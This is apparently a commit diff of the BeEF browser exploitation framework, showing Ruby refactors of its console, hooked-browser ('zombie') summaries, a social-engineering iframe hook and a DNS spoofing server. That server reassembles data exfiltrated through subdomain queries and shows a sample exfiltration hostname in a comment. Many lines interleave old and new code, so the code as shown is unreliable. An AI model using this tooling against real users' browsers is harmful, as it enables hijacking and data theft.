configuration = BeEF::Core::Configuration.instance def getcommandresponses(cmdid = cmd['id'])
if !configuration.get("beef.extension.network.enable") commands = []
print_error("Network extension is disabled") i = 0
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid BeEF::Core::Models::Command.where(command_module_id: cmdid, hooked_browser_id: targetid).each do |command|
summary_grid_hash = { commands.push({
'success' => 'true', 'id' => i,
'results' => [] 'object_id' => command.id,
} 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
@nh = BeEF::Core::Models::NetworkHost 'label' => command.label
hosts = @nh.where(:hooked_browser_id => self.targetsession) })
i += 1
end
# add property to summary hash commands
if not hosts.empty? end
hosts.each do |x|
summary_grid_hash['results'].push({ def getindividualresponse(cmdid)
'ip' => x['ip'].to_s, results = []
'hostname' => x['hostname'].to_s, begin
'type' => x['type'].to_s, BeEF::Core::Models::Result.where(command_id: cmdid).each do |result|
'os' => x['os'].to_s, results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) })
'mac' => x['mac'].to_s, end
'lastseen' => x['lastseen'].to_s rescue StandardError
}) return nil
end
results
end
def executecommand
definition = {}
options = {}
options.store('zombie_session', targetsession.to_s)
options.store('command_module_id', cmd['id'])
unless cmd['Data'].nil?
cmd['Data'].each do |key|
options.store('txt_' + key['name'].to_s, key['value'])
end
end
options.keys.each do |param|
definition[param[4..-1]] = options[param]
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
oc.value = options[param]
oc.save
end
mod_key = BeEF::Module.get_key_by_database_id(cmd['id'])
# Hack to rework the old option system into the new option system
def2 = []
definition.each do |k, v|
def2.push({ 'name' => k, 'value' => v })
end
# End hack
if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil?
false
else
true
end
# Old method
# begin
# BeEF::Core::Models::Command.new( :data => definition.to_json,
# :hooked_browser_id => self.targetid,
# :command_module_id => self.cmd['id'],
# :creationdate => Time.new.to_i
# ).save
# rescue
# return false
# end
# return true
end
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
# construct leaf node for the command module tree
leaf_node = {
'text' => cmd_name,
'leaf' => true,
'status' => cmd_status,
'id' => cmd_id
}
# add the node to the branch in the command module tree
tree.each do |x|
if x['text'].eql? cmd_category
x['children'].push(leaf_node)
break
end
end
end
def get_command_module_status(mod)
hook_session_id = targetsession
return 'Verified Unknown' if hook_session_id.nil?
case BeEF::Module.support(
mod,
{
'browser' => BD.get(hook_session_id, 'BrowserName'),
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
'os' => [BD.get(hook_session_id, 'OsName')]
}
)
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
'Verified Not Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
'Verified User Notify'
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
'Verified Working'
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
'Verified Unknown'
else
'Verified Unknown'
end
end
# @note Returns a JSON array containing the summary for a selected zombie.
# Yoinked from the UI panel -
# we really need to centralise all this stuff and encapsulate it away.
def select_zombie_summary
return if targetsession.nil?
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
# zombie properties
# in the form of: category, UI label, value
zombie_properties = [
# Browser
['Browser', 'Browser Name', 'BrowserName'],
['Browser', 'Browser Version', 'BrowserVersion'],
['Browser', 'Browser UA String', 'BrowserReportedName'],
['Browser', 'Browser Language', 'BrowserLanguage'],
['Browser', 'Browser Platform', 'BrowserPlatform'],
['Browser', 'Browser Plugins', 'BrowserPlugins'],
['Browser', 'Window Size', 'WindowSize'],
# Browser Components
['Browser Components', 'Flash', 'HasFlash'],
['Browser Components', 'Java', 'JavaEnabled'],
['Browser Components', 'VBScript', 'VBScriptEnabled'],
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'Windows Media Player', 'HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
# Hooked Page
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
['Hooked Page', 'Page Referrer', 'PageReferrer'],
['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Cookies', 'Cookies'],
# Host
%w[Host Date DateStamp],
['Host', 'Operating System', 'OsName'],
%w[Host Hardware Hardware],
%w[Host CPU CPU],
['Host', 'Default Browser', 'DefaultBrowser'],
['Host', 'Screen Size', 'ScreenSize'],
['Host', 'Touch Screen', 'TouchEnabled']
]
# set and add the return values for each browser property
# in the form of: category, UI label, value
zombie_properties.each do |p|
case p[2]
when 'BrowserName'
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s
when 'ScreenSize'
screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = screen_size_hash['width']
height = screen_size_hash['height']
cdepth = screen_size_hash['colordepth']
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
when 'WindowSize'
window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON
width = window_size_hash['width']
height = window_size_hash['height']
data = "Width: #{width}, Height: #{height}"
else
data = BD.get(targetsession, p[2])
end
# add property to summary hash
next if data.nil?
summary_grid_hash['results'].push({
'category' => p[0],
'data' => { p[1] => CGI.escapeHTML(data.to_s) },
'from' => 'Initialization'
})
end
summary_grid_hash
end
def select_network_hosts
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@nh = BeEF::Core::Models::NetworkHost
hosts = @nh.where(hooked_browser_id: targetsession)
# add property to summary hash
unless hosts.empty?
hosts.each do |x|
summary_grid_hash['results'].push({
'ip' => x['ip'].to_s,
'hostname' => x['hostname'].to_s,
'type' => x['type'].to_s,
'os' => x['os'].to_s,
'mac' => x['mac'].to_s,
'lastseen' => x['lastseen'].to_s
})
end
end
summary_grid_hash
end
def select_network_services
return if targetsession.nil?
configuration = BeEF::Core::Configuration.instance
unless configuration.get('beef.extension.network.enable')
print_error('Network extension is disabled')
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@ns = BeEF::Core::Models::NetworkService
services = @ns.where(hooked_browser_id: targetsession)
# add property to summary hash
unless services.empty?
services.each do |x|
summary_grid_hash['results'].push({
'proto' => x['proto'].to_s,
'ip' => x['ip'].to_s,
'port' => x['port'].to_s,
'type' => x['type'].to_s
})
end
end
summary_grid_hash
end
attr_reader :targetsession, :targetid, :targetip, :cmd
protected
attr_writer :targetsession, :targetid, :targetip, :cmd
attr_accessor :config
end end
end end
summary_grid_hash
end end
def select_network_services
return if self.targetsession.nil?
configuration = BeEF::Core::Configuration.instance
if !configuration.get("beef.extension.network.enable")
print_error("Network extension is disabled")
return {
'success' => 'false',
'results' => []
}
end
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
@ns = BeEF::Core::Models::NetworkService
services = @ns.where(:hooked_browser_id => self.targetsession)
# add property to summary hash
if not services.empty?
services.each do |x|
summary_grid_hash['results'].push({
'proto' => x['proto'].to_s,
'ip' => x['ip'].to_s,
'port' => x['port'].to_s,
'type' => x['type'].to_s
})
end
end
summary_grid_hash
end
attr_reader :targetsession
attr_reader :targetid
attr_reader :targetip
attr_reader :cmd
protected
attr_writer :targetsession
attr_writer :targetid
attr_writer :targetip
attr_writer :cmd
attr_accessor :config
end end
end end end

View File

@@ -8,65 +8,56 @@ require 'rex'
require 'rex/ui' require 'rex/ui'
module BeEF module BeEF
module Extension module Extension
module Console module Console
class Shell
DefaultPrompt = '%undBeEF%clr'
DefaultPromptChar = '%clr>'
class Shell include Rex::Ui::Text::DispatcherShell
DefaultPrompt = "%undBeEF%clr" def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
DefaultPromptChar = "%clr>" require 'extensions/console/lib/readline_compatible'
require 'extensions/console/lib/command_dispatcher'
include Rex::Ui::Text::DispatcherShell require 'extensions/console/lib/shellinterface'
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) self.http_hook_server = opts['http_hook_server']
self.config = opts['config']
require 'extensions/console/lib/readline_compatible' self.jobs = Rex::JobContainer.new
require 'extensions/console/lib/command_dispatcher' self.interface = BeEF::Extension::Console::ShellInterface.new(config)
require 'extensions/console/lib/shellinterface'
super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s))
self.http_hook_server = opts['http_hook_server']
self.config = opts['config'] input = Rex::Ui::Text::Input::Stdio.new
self.jobs = Rex::JobContainer.new output = Rex::Ui::Text::Output::Stdio.new
self.interface = BeEF::Extension::Console::ShellInterface.new(self.config)
init_ui(input, output)
super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s))
enstack_dispatcher(CommandDispatcher::Core)
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new # To prevent http_hook_server from blocking, we kick it off as a background job here.
jobs.start_bg_job(
init_ui(input,output) 'http_hook_server',
self,
enstack_dispatcher(CommandDispatcher::Core) proc { |_ctx_| http_hook_server.start }
)
#To prevent http_hook_server from blocking, we kick it off as a background job here. end
self.jobs.start_bg_job(
"http_hook_server", def stop
self, super
Proc.new { |ctx_| self.http_hook_server.start } end
)
# New method to determine if a particular command dispatcher it already .. enstacked .. gooood
end def dispatched_enstacked(dispatcher)
inst = dispatcher.new(self)
def stop dispatcher_stack.each do |disp|
super return true if disp.name == inst.name
end end
false
#New method to determine if a particular command dispatcher it already .. enstacked .. gooood end
def dispatched_enstacked(dispatcher)
inst = dispatcher.new(self) attr_accessor :http_hook_server, :config, :jobs, :interface
self.dispatcher_stack.each { |disp|
if (disp.name == inst.name)
return true
end end
} end
return false
end end
attr_accessor :http_hook_server
attr_accessor :config
attr_accessor :jobs
attr_accessor :interface
end end
end end end

View File

@@ -4,29 +4,27 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Customhook module Customhook
module RegisterHttpHandlers
module RegisterHttpHandlers BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h|
beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
end
end
def self.pre_http_start(beef_server) def self.mount_handler(beef_server)
configuration = BeEF::Core::Configuration.instance configuration = BeEF::Core::Configuration.instance
configuration.get("beef.extension.customhook.hooks").each do |h| configuration.get('beef.extension.customhook.hooks').each do |h|
print_success "Successfully mounted a custom hook point" beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new)
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n" end
end
def self.pre_http_start(_beef_server)
configuration = BeEF::Core::Configuration.instance
configuration.get('beef.extension.customhook.hooks').each do |h|
print_success 'Successfully mounted a custom hook point'
print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n"
end
end
end end
end end
end end
end end
end
end

View File

@@ -4,19 +4,17 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Customhook module Customhook
extend BeEF::API::Extension
extend BeEF::API::Extension
@short_name = 'customhook'
@short_name = 'customhook'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@full_name = 'Custom Hook Point with iFrame Impersonation'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' end
end
end
end
end end
require 'extensions/customhook/api' require 'extensions/customhook/api'

View File

@@ -4,31 +4,29 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
module Customhook module Customhook
class Handler
class Handler def call(env)
@body = ''
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body = [], 200, header = {})
config = BeEF::Core::Configuration.instance
eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html"))
config.get('beef.extension.customhook.hooks').each do |h|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
next unless path == (env['REQUEST_URI']).to_s
def call(env) print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
@body = '' @body << eruby.evaluate({
@request = Rack::Request.new(env) 'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
@params = @request.query_string 'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
@response = Rack::Response.new(body=[], 200, header={}) })
config = BeEF::Core::Configuration.instance break
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html')) end
config.get("beef.extension.customhook.hooks").each do |h|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
if path == "#{env['REQUEST_URI']}"
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
@body << eruby.evaluate({
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title")
})
break
end
end
@response = Rack::Response.new( @response = Rack::Response.new(
body = [@body], body = [@body],
status = 200, status = 200,
header = { header = {
@@ -39,20 +37,15 @@ module Customhook
'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET' 'Access-Control-Allow-Methods' => 'POST, GET'
} }
) )
end
end
private # @note Object representing the HTTP request
@request
# @note Object representing the HTTP request
@request # @note Object representing the HTTP response
@response
# @note Object representing the HTTP response end
@response end
end end
end
end
end end

View File

@@ -11,15 +11,16 @@ module BeEF
def self.mount_handler(beef_server) def self.mount_handler(beef_server)
# mount everything in html directory to /demos/ # mount everything in html directory to /demos/
path = File.dirname(__FILE__) + '/html/' path = "#{File.dirname(__FILE__)}/html/"
files = Dir[path + '**/*'] files = Dir["#{path}**/*"]
beef_server.mount('/demos', Rack::File.new(path)) beef_server.mount('/demos', Rack::File.new(path))
files.each do |f| files.each do |f|
# don't follow symlinks # don't follow symlinks
next if File.symlink?(f) next if File.symlink?(f)
mount_path = '/demos/' + f.sub(path, '')
mount_path = "/demos/#{f.sub(path, '')}"
if File.extname(f) == '.html' if File.extname(f) == '.html'
# use handler to mount HTML templates # use handler to mount HTML templates
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f)) beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))

View File

@@ -38,8 +38,6 @@ module BeEF
) )
end end
private
# @note String representing the absolute path to the .html file # @note String representing the absolute path to the .html file
@file_path @file_path

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension module Extension
module Dns module Dns
module API module API
module NameserverHandler module NameserverHandler
BeEF::API::Registrar.instance.register( BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler, BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server, BeEF::API::Server,
@@ -25,11 +23,15 @@ module BeEF
# Starts the DNS nameserver at BeEF startup. # Starts the DNS nameserver at BeEF startup.
# #
# @param http_hook_server [BeEF::Core::Server] HTTP server instance # @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server) def self.pre_http_start(_http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns') dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
dns = BeEF::Extension::Dns::Server.instance dns = BeEF::Extension::Dns::Server.instance
protocol = dns_config['protocol'].to_sym rescue :udp protocol = begin
dns_config['protocol'].to_sym
rescue StandardError
:udp
end
address = dns_config['address'] || '127.0.0.1' address = dns_config['address'] || '127.0.0.1'
port = dns_config['port'] || 5300 port = dns_config['port'] || 5300
interfaces = [[protocol, address, port]] interfaces = [[protocol, address, port]]
@@ -44,12 +46,13 @@ module BeEF
up_port = server[2] up_port = server[2]
next if [up_protocol, up_address, up_port].include?(nil) next if [up_protocol, up_address, up_port].include?(nil)
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/ servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n" upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
end end
end end
dns.run(:upstream => servers, :listen => interfaces) dns.run(upstream: servers, listen: interfaces)
print_info "DNS Server: #{address}:#{port} (#{protocol})" print_info "DNS Server: #{address}:#{port} (#{protocol})"
print_more upstream_servers unless upstream_servers.empty? print_more upstream_servers unless upstream_servers.empty?
@@ -61,9 +64,7 @@ module BeEF
def self.mount_handler(beef_server) def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new) beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end end
end end
end end
end end
end end

View File

@@ -6,20 +6,18 @@
module BeEF module BeEF
module Extension module Extension
module Dns module Dns
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests # Provides the core DNS nameserver functionality. The nameserver handles incoming requests
# using a rule-based system. A list of user-defined rules is used to match against incoming # using a rule-based system. A list of user-defined rules is used to match against incoming
# DNS requests. These rules generate a response that is either a resource record or a # DNS requests. These rules generate a response that is either a resource record or a
# failure code. # failure code.
class Server < Async::DNS::Server class Server < Async::DNS::Server
include Singleton include Singleton
def initialize def initialize
super() super()
@lock = Mutex.new @lock = Mutex.new
@database = BeEF::Core::Models::Dns::Rule @database = BeEF::Core::Models::Dns::Rule
@data_chunks = Hash.new @data_chunks = {}
end end
# Adds a new DNS rule. If the rule already exists, its current ID is returned. # Adds a new DNS rule. If the rule already exists, its current ID is returned.
@@ -49,9 +47,9 @@ module BeEF
$VERBOSE = verbose $VERBOSE = verbose
@database.find_or_create_by( @database.find_or_create_by(
:resource => rule[:resource].to_s, resource: rule[:resource].to_s,
:pattern => pattern.source, pattern: pattern.source,
:response => rule[:response] response: rule[:response]
).id ).id
end end
end end
@@ -63,12 +61,10 @@ module BeEF
# @return [Hash] hash representation of rule (empty hash if rule wasn't found) # @return [Hash] hash representation of rule (empty hash if rule wasn't found)
def get_rule(id) def get_rule(id)
@lock.synchronize do @lock.synchronize do
begin rule = @database.find(id)
rule = @database.find(id) return to_hash(rule)
return to_hash(rule) rescue ActiveRecord::RecordNotFound
rescue ActiveRecord::RecordNotFound return nil
return nil
end
end end
end end
@@ -81,9 +77,7 @@ module BeEF
@lock.synchronize do @lock.synchronize do
begin begin
rule = @database.find(id) rule = @database.find(id)
if not rule.nil? and rule.destroy return true if !rule.nil? && rule.destroy
return true
end
rescue ActiveRecord::RecordNotFound rescue ActiveRecord::RecordNotFound
return nil return nil
end end
@@ -109,10 +103,8 @@ module BeEF
# #
# @return [Boolean] true if ruleset was destroyed, otherwise false # @return [Boolean] true if ruleset was destroyed, otherwise false
def remove_ruleset! def remove_ruleset!
@lock.synchronize do @lock.synchronize do
if @database.destroy_all return true if @database.destroy_all
return true
end
end end
end end
@@ -134,24 +126,22 @@ module BeEF
if upstream if upstream
resolver = Async::DNS::Resolver.new(upstream) resolver = Async::DNS::Resolver.new(upstream)
@otherwise = Proc.new { |t| t.passthrough!(resolver) } @otherwise = proc { |t| t.passthrough!(resolver) }
end end
begin begin
# super(:listen => listen) # super(:listen => listen)
Thread.new { super() } Thread.new { super() }
rescue RuntimeError => e rescue RuntimeError => e
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
print_error "[DNS] Another process is already listening on port #{options[:listen]}" print_error "[DNS] Another process is already listening on port #{options[:listen]}"
print_error "Exiting..." print_error 'Exiting...'
exit 127 exit 127
else else
raise raise
end
end end
end end
end
end end
end end
end end
@@ -164,42 +154,41 @@ module BeEF
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name, resource, transaction) def process(name, resource, transaction)
@lock.synchronize do @lock.synchronize do
resource = resource.to_s resource = resource.to_s
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string. # no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server. # this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
if format_resource(resource) == 'A' and name.match(/^0xb3/) if format_resource(resource) == 'A' && name.match(/^0xb3/)
reconstruct(name.split('0xb3').last) reconstruct(name.split('0xb3').last)
catch (:done) do catch(:done) do
transaction.fail!(:NXDomain) transaction.fail!(:NXDomain)
end end
return return
end end
catch (:done) do catch(:done) do
# Find rules matching the requested resource class # Find rules matching the requested resource class
resources = @database.where(:resource => resource) resources = @database.where(resource: resource)
throw :done if resources.length == 0 throw :done if resources.length == 0
# Narrow down search by finding a matching pattern # Narrow down search by finding a matching pattern
resources.each do |rule| resources.each do |rule|
pattern = Regexp.new(rule.pattern) pattern = Regexp.new(rule.pattern)
if name =~ pattern next unless name =~ pattern
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
Proc.new { |t| eval(rule.callback) }.call(transaction) print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
throw :done proc { |_t| eval(rule.callback) }.call(transaction)
end throw :done
end end
if @otherwise if @otherwise
print_debug "No match found, querying upstream servers" print_debug 'No match found, querying upstream servers'
@otherwise.call(transaction) @otherwise.call(transaction)
else else
print_debug "No match found, sending NXDOMAIN response" print_debug 'No match found, sending NXDOMAIN response'
transaction.fail!(:NXDomain) transaction.fail!(:NXDomain)
end end
end end
@@ -207,43 +196,44 @@ module BeEF
end end
private private
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like: # Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
#0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com # 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
#[...] # [...]
#0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com # 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
def reconstruct(data) def reconstruct(data)
split_data = data.split('.') split_data = data.split('.')
pack_id = split_data[0] pack_id = split_data[0]
seq_num = split_data[1] seq_num = split_data[1]
seq_tot = split_data[2] seq_tot = split_data[2]
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC) data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/) unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}" print_debug "[DNS] Received invalid chunk:\n #{data}"
return
end
if @data_chunks[pack_id] == nil print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
# no previous chunks received, create new Array to store chunks
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
else
# previous chunks received, update Array
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE'
# means that no position in the array is false/nil, so we received all the packet chunks
packet_data = @data_chunks[pack_id].join('')
decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*')
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it if @data_chunks[pack_id].nil?
@data_chunks[pack_id] = 'DONE' # no previous chunks received, create new Array to store chunks
end @data_chunks[pack_id] = Array.new(seq_tot.to_i)
end @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
else else
print_debug "[DNS] Data (#{data}) is not a valid chunk." # previous chunks received, update Array
end @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'
# means that no position in the array is false/nil, so we received all the packet chunks
packet_data = @data_chunks[pack_id].join('')
decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
@data_chunks[pack_id] = 'DONE'
end
end
end end
private
# Helper method that converts a DNS rule to a hash. # Helper method that converts a DNS rule to a hash.
# #
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted # @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
@@ -279,9 +269,7 @@ module BeEF
def format_resource(resource) def format_resource(resource)
/::(\w+)$/.match(resource)[1] /::(\w+)$/.match(resource)[1]
end end
end end
end end
end end
end end

View File

@@ -5,18 +5,15 @@
# #
require 'async/dns' require 'async/dns'
module BeEF module BeEF
module Extension module Extension
module Dns module Dns
extend BeEF::API::Extension extend BeEF::API::Extension
@short_name = 'dns' @short_name = 'dns'
@full_name = 'DNS Server' @full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' + @description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked browsers.' 'hijacking, and other related attacks against hooked browsers.'
end end
end end
end end

View File

@@ -6,10 +6,8 @@
# Disables the logger used by RubyDNS due to its excessive verbosity. # Disables the logger used by RubyDNS due to its excessive verbosity.
class Logger class Logger
def debug(msg = ''); end def debug(msg = ''); end
def info(msg = ''); end def info(msg = ''); end
def error(msg = ''); end def error(msg = ''); end
def warn(msg = ''); end def warn(msg = ''); end
end end

View File

@@ -7,35 +7,30 @@ module BeEF
module Core module Core
module Models module Models
module Dns module Dns
# Represents an individual DNS rule. # Represents an individual DNS rule.
class Rule < BeEF::Core::Model class Rule < BeEF::Core::Model
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier. # Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
before_save :check_rule before_save :check_rule
self.table_name = 'dns_rules' self.table_name = 'dns_rules'
serialize :response, Array serialize :response, Array
private private
def check_rule def check_rule
begin validate_pattern(pattern)
validate_pattern(self.pattern) self.callback = format_callback(resource.constantize, response)
self.callback = format_callback(self.resource.constantize, self.response) rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e print_error e.message
print_error e.message throw :halt
throw :halt
end
#self.id = BeEF::Core::Crypto.dns_rule_id
# self.id = BeEF::Core::Crypto.dns_rule_id
end end
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters). # Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
def validate_pattern(pattern) def validate_pattern(pattern)
raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) && raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) &&
!BeEF::Filters.has_null?(pattern) && !BeEF::Filters.has_null?(pattern) &&
!BeEF::Filters.has_non_printable_char?(pattern) !BeEF::Filters.has_non_printable_char?(pattern)
end end
# Strict validator which ensures that only an appropriate response is given. # Strict validator which ensures that only an appropriate response is given.
@@ -47,18 +42,19 @@ module BeEF
def format_callback(resource, response) def format_callback(resource, response)
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
src = if resource == Resolv::DNS::Resource::IN::A if resource == Resolv::DNS::Resource::IN::A
